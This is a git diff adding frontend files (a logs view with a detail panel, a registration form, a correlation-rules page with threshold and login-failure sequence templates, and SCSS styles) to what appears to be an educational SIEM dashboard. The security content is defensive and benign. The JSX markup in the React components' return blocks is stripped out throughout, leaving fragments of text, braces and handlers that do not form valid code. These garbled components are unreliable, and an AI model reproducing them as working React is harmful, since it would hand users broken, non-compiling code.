    +          
    +
    + )} +
    + ) +} + +function DetailField({ + label, + value, +}: { + label: string + value: string | null | undefined +}): React.ReactElement | null { + if (value === null || value === undefined) return null + return ( +
    + {label} + {value} +
    + ) +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/logs/logs.module.scss b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/logs/logs.module.scss new file mode 100644 index 00000000..44c8880f --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/logs/logs.module.scss @@ -0,0 +1,319 @@ +// =================== +// ©AngelaMos | 2026 +// logs.module.scss +// =================== + +@use '@/styles' as *; + +.page { + @include flex-column; + gap: $space-4; + width: 100%; + max-width: 1325px; + margin: 0 auto; +} + +.filters { + display: flex; + align-items: center; + justify-content: space-between; + gap: $space-3; + flex-wrap: wrap; +} + +.filterGroup { + display: flex; + gap: $space-3; +} + +.select { + height: 36px; + padding: 0 $space-3; + background-color: $bg-surface-100; + border: 1px solid $border-default; + border-radius: $radius-sm; + font-size: $font-size-sm; + color: $text-default; + cursor: pointer; + @include transition-fast; + + &:focus { + outline: none; + border-color: $border-strong; + } +} + +.searchWrapper { + position: relative; + flex: 1; + max-width: 320px; +} + +.searchIcon { + position: absolute; + left: $space-3; + top: 50%; + transform: translateY(-50%); + width: 16px; + height: 16px; + color: $text-muted; +} + +.searchInput { + width: 100%; + height: 36px; + padding: 0 $space-8; + background-color: $bg-surface-100; + border: 1px solid $border-default; + border-radius: $radius-sm; + font-size: $font-size-sm; + color: $text-default; + @include transition-fast; + + &::placeholder { + color: $text-muted; + } + + &:focus { + outline: none; + border-color: $border-strong; + } +} + +.clearBtn { + position: absolute; + right: $space-2; + top: 50%; + transform: translateY(-50%); + @include flex-center; + width: 24px; + height: 24px; + background: transparent; + border: none; + color: $text-muted; + cursor: pointer; + border-radius: $radius-sm; + @include transition-fast; + + @include hover { + color: $text-light; + } +} + +.tableWrapper { + overflow-x: auto; + border: 1px solid $border-default; + border-radius: $radius-md; +} + +.table { + width: 100%; + border-collapse: collapse; + font-size: $font-size-sm; + + th { + text-align: left; + padding: $space-3 $space-4; + font-weight: $font-weight-regular; + color: $text-lighter; + border-bottom: 1px solid $border-default; + white-space: nowrap; + } + + td { + padding: $space-3 $space-4; + color: $text-light; + border-bottom: 1px solid $border-muted; + white-space: nowrap; + } +} + +.row { + cursor: pointer; + @include transition-fast; + + @include hover { + background-color: $bg-surface-75; + } + + &.selected { + background-color: $bg-surface-100; + } +} + +.mono { + font-family: 'JetBrains Mono', monospace; + font-size: $font-size-xs; +} + +.badge { + display: inline-block; + padding: $space-0-5 $space-2; + border-radius: $radius-sm; + font-size: $font-size-xs; + font-weight: $font-weight-medium; + text-transform: capitalize; + + &.critical { + color: $severity-critical; + background-color: $severity-critical-bg; + } + + &.high { + color: $severity-high; + background-color: $severity-high-bg; + } + + &.medium { + color: $severity-medium; + background-color: $severity-medium-bg; + } + + &.low { + color: $severity-low; + background-color: $severity-low-bg; + } + + &.info { + color: $severity-info; + background-color: $severity-info-bg; + } +} + +.empty { + text-align: center; + color: $text-muted; + padding: $space-8; +} + +.skeleton { + height: 20px; + background-color: $bg-surface-200; + border-radius: $radius-sm; +} + +.pagination { + display: flex; + align-items: center; + justify-content: center; + gap: $space-3; +} + +.pageBtn { + @include flex-center; + width: 32px; + height: 32px; + background-color: $bg-surface-100; + border: 1px solid $border-default; + border-radius: $radius-sm; + color: $text-light; + cursor: pointer; + @include transition-fast; + + @include hover { + border-color: $border-strong; + } + + &:disabled { + opacity: 0.3; + cursor: not-allowed; + } + + svg { + width: 16px; + height: 16px; + } +} + +.pageInfo { + font-size: $font-size-sm; + color: $text-lighter; +} + +.detail { + background-color: $bg-surface-100; + border: 1px solid $border-default; + border-radius: $radius-md; + padding: $space-5; +} + +.detailHeader { + @include flex-between; + margin-bottom: $space-4; +} + +.detailTitle { + font-size: $font-size-sm; + font-weight: $font-weight-medium; + color: $text-default; +} + +.closeBtn { + @include flex-center; + width: 28px; + height: 28px; + background: transparent; + border: 1px solid $border-default; + border-radius: $radius-sm; + color: $text-light; + cursor: pointer; + @include transition-fast; + + @include hover { + border-color: $border-strong; + } + + svg { + width: 16px; + height: 16px; + } +} + +.detailGrid { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); + gap: $space-3; + margin-bottom: $space-4; +} + +.detailField { + @include flex-column; + gap: $space-1; +} + +.detailLabel { + font-size: $font-size-xs; + color: $text-muted; + text-transform: uppercase; + letter-spacing: $tracking-wide; +} + +.detailValue { + font-size: $font-size-sm; + color: $text-default; +} + +.detailSection { + margin-top: $space-4; +} + +.detailSectionTitle { + font-size: $font-size-xs; + font-weight: $font-weight-medium; + color: $text-lighter; + text-transform: uppercase; + letter-spacing: $tracking-wide; + margin-bottom: $space-2; +} + +.detailPre { + padding: $space-3; + background-color: $bg-default; + border: 1px solid $border-muted; + border-radius: $radius-sm; + font-family: 'JetBrains Mono', monospace; + font-size: $font-size-xs; + color: $text-light; + overflow-x: auto; + line-height: $line-height-relaxed; +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/register/index.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/register/index.tsx new file mode 100644 index 00000000..f6dae6bf --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/register/index.tsx @@ -0,0 +1,181 @@ +// =================== +// ©AngelaMos | 2026 +// index.tsx +// =================== + +import { useState } from 'react' +import { LuArrowLeft, LuEye, LuEyeOff } from 'react-icons/lu' +import { Link, useNavigate } from 'react-router-dom' +import { toast } from 'sonner' +import { z } from 'zod' +import { useRegister } from '@/api/hooks' +import { PASSWORD_MIN, registerRequestSchema } from '@/api/types' +import { ROUTES } from '@/config' +import styles from './register.module.scss' + +const registerFormSchema = registerRequestSchema + .extend({ + confirmPassword: z + .string() + .min(PASSWORD_MIN, `Password must be at least ${PASSWORD_MIN} characters`), + }) + .refine((data) => data.password === data.confirmPassword, { + message: 'Passwords do not match', + path: ['confirmPassword'], + }) + +export function Component(): React.ReactElement { + const navigate = useNavigate() + const register = useRegister() + + const [username, setUsername] = useState('') + const [email, setEmail] = useState('') + const [password, setPassword] = useState('') + const [confirmPassword, setConfirmPassword] = useState('') + const [showPassword, setShowPassword] = useState(false) + const [showConfirmPassword, setShowConfirmPassword] = useState(false) + + const handleSubmit = (e: React.FormEvent): void => { + e.preventDefault() + + const result = registerFormSchema.safeParse({ + username, + email, + password, + confirmPassword, + }) + + if (!result.success) { + const firstError = result.error.issues[0] + toast.error(firstError.message) + return + } + + register.mutate( + { + username: result.data.username, + email: result.data.email, + password: result.data.password, + }, + { + onSuccess: () => { + navigate(ROUTES.DASHBOARD) + }, + } + ) + } + + return ( +
    + + + Home + +
    +
    +

    Sign up

    +

    Create a new account

    +
    + +
    +
    + + setUsername(e.target.value)} + autoComplete="username" + /> +
    + +
    + + setEmail(e.target.value)} + autoComplete="email" + /> +
    + +
    + +
    + setPassword(e.target.value)} + autoComplete="new-password" + /> + +
    +
    + +
    + +
    + setConfirmPassword(e.target.value)} + autoComplete="new-password" + /> + +
    +
    + + +
    + +

    + Already have an account?{' '} + + Login + +

    +
    +
    + ) +} + +Component.displayName = 'Register' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/register/register.module.scss b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/register/register.module.scss new file mode 100644 index 00000000..360b4dbd --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/register/register.module.scss @@ -0,0 +1,185 @@ +// =================== +// ©AngelaMos | 2026 +// register.module.scss +// =================== + +@use '@/styles' as *; + +.page { + position: relative; + min-height: 100vh; + min-height: 100dvh; + @include flex-center; + background-color: $bg-default; + background-image: radial-gradient( + circle, + $bg-page 1px, + transparent 1px + ); + background-size: 20px 20px; + padding: $space-4; +} + +.homeLink { + position: absolute; + top: $space-6; + left: $space-6; + display: flex; + align-items: center; + gap: $space-2; + font-size: $font-size-sm; + color: $text-light; + text-decoration: none; + @include transition-fast; + + @include hover { + color: $accent; + } + + svg { + width: 16px; + height: 16px; + } +} + +.card { + width: 100%; + max-width: 400px; + background-color: $black; + background-image: radial-gradient( + circle, + $bg-card 1px, + transparent 1px + ); + background-size: 18px 18px; + border: 1px solid $border-default; + border-radius: $radius-lg; + padding: $space-8; +} + +.header { + margin-bottom: $space-6; +} + +.title { + font-size: $font-size-2xl; + font-weight: $font-weight-semibold; + color: $white; + margin-bottom: $space-2; +} + +.subtitle { + font-size: $font-size-sm; + color: $text-light; +} + +.form { + @include flex-column; + gap: $space-5; +} + +.field { + @include flex-column; + gap: $space-2; +} + +.label { + font-size: $font-size-sm; + font-weight: $font-weight-medium; + color: $white; +} + +.input { + width: 100%; + height: 48px; + padding: 0 $space-4; + background-color: transparent; + border: 1px solid $border-default; + border-radius: $radius-md; + font-size: $font-size-base; + color: $white; + @include transition-fast; + + &::placeholder { + color: $text-muted; + } + + &:focus { + outline: none; + border-color: $border-strong; + } +} + +.inputWrapper { + position: relative; + width: 100%; +} + +.eyeButton { + position: absolute; + right: $space-3; + top: 50%; + transform: translateY(-50%); + display: flex; + align-items: center; + justify-content: center; + background: transparent; + border: none; + color: $text-muted; + cursor: pointer; + padding: $space-1; + @include transition-fast; + + &:hover { + color: $white; + } + + svg { + width: 20px; + height: 20px; + } +} + +.submit { + width: 100%; + height: 48px; + margin-top: $space-2; + display: flex; + align-items: center; + justify-content: center; + background-color: $white; + border: none; + border-radius: $radius-md; + font-size: $font-size-base; + font-weight: $font-weight-medium; + color: $black; + cursor: pointer; + @include transition-fast; + + @include hover { + filter: brightness(0.9); + } + + &:disabled { + opacity: 0.5; + cursor: not-allowed; + } +} + +.footer { + margin-top: $space-6; + text-align: center; + font-size: $font-size-sm; + color: $text-light; +} + +.link { + color: $accent; + text-decoration: underline; + text-underline-offset: 4px; + @include transition-fast; + + @include hover { + filter: brightness(1.2); + } +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/rules/index.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/rules/index.tsx new file mode 100644 index 00000000..5f3b4c8c --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/routes/rules/index.tsx @@ -0,0 +1,269 @@ +// =================== +// ©AngelaMos | 2026 +// index.tsx +// =================== + +import { useCallback, useState } from 'react' +import { LuFlaskConical, LuPlus, LuTrash2, LuX } from 'react-icons/lu' +import { useCreateRule, useDeleteRule, useRules, useTestRule } from '@/api/hooks' +import type { CorrelationRule } from '@/api/types' +import styles from './rules.module.scss' + +export function Component(): React.ReactElement { + const { data: rules, isLoading } = useRules() + const [showForm, setShowForm] = useState(false) + const [selectedId, setSelectedId] = useState(null) + + return ( +
    +
    + {rules?.length ?? 0} rules + +
    + + {showForm && setShowForm(false)} />} + +
    + {isLoading ? ( + Array.from({ length: 3 }, (_, i) => ( +
    + )) + ) : rules?.length === 0 ? ( +
    No correlation rules configured
    + ) : ( + rules?.map((rule) => ( + + setSelectedId(selectedId === rule.id ? null : rule.id) + } + /> + )) + )} +
    +
    + ) +} + +Component.displayName = 'Rules' + +function RuleCard({ + rule, + isSelected, + onSelect, +}: { + rule: CorrelationRule + isSelected: boolean + onSelect: () => void +}): React.ReactElement { + const deleteRule = useDeleteRule() + const testRule = useTestRule(rule.id) + + return ( +
    + + + {isSelected && ( +
    +
    +

    Conditions

    +
    +              {JSON.stringify(rule.conditions, null, 2)}
    +            
    +
    +
    + + +
    + {testRule.data && ( +
    + + {testRule.data.events_evaluated.toLocaleString()} events evaluated + + + {testRule.data.alerts_would_fire} alerts would fire + +
    + )} +
    + )} +
    + ) +} + +const CONDITION_TEMPLATES: Record = { + threshold: + '{\n "event_filter": {},\n "threshold": 5,\n "window_seconds": 300,\n "group_by": "source_ip"\n}', + sequence: + '{\n "steps": [\n { "event_filter": { "event_type": "login_failure" }, "count": 5 },\n { "event_filter": { "event_type": "login_success" }, "count": 1 }\n ],\n "window_seconds": 300,\n "group_by": "source_ip"\n}', + aggregation: + '{\n "event_filter": {},\n "aggregation": "count_distinct",\n "aggregation_field": "dest_ip",\n "threshold": 5,\n "window_seconds": 300,\n "group_by": "source_ip"\n}', +} + +function RuleForm({ onClose }: { onClose: () => void }): React.ReactElement { + const createRule = useCreateRule() + const [name, setName] = useState('') + const [description, setDescription] = useState('') + const [ruleType, setRuleType] = useState('threshold') + const [severity, setSeverity] = useState('medium') + + const [conditions, setConditions] = useState(CONDITION_TEMPLATES.threshold) + + const handleTypeChange = useCallback((type: string) => { + setRuleType(type) + setConditions(CONDITION_TEMPLATES[type] ?? CONDITION_TEMPLATES.threshold) + }, []) + + const handleSubmit = (e: React.FormEvent): void => { + e.preventDefault() + let parsed: Record + try { + parsed = JSON.parse(conditions) + } catch { + return + } + + createRule.mutate( + { + name, + description, + rule_type: ruleType, + severity, + conditions: parsed, + }, + { onSuccess: onClose } + ) + } + + return ( +
    +
    +

    Create Rule

    + +
    +
    +
    + + setName(e.target.value)} + /> +
    +
    + + setDescription(e.target.value)} + /> +
    +
    + + +
    +
    + + +
    +
    +
    + +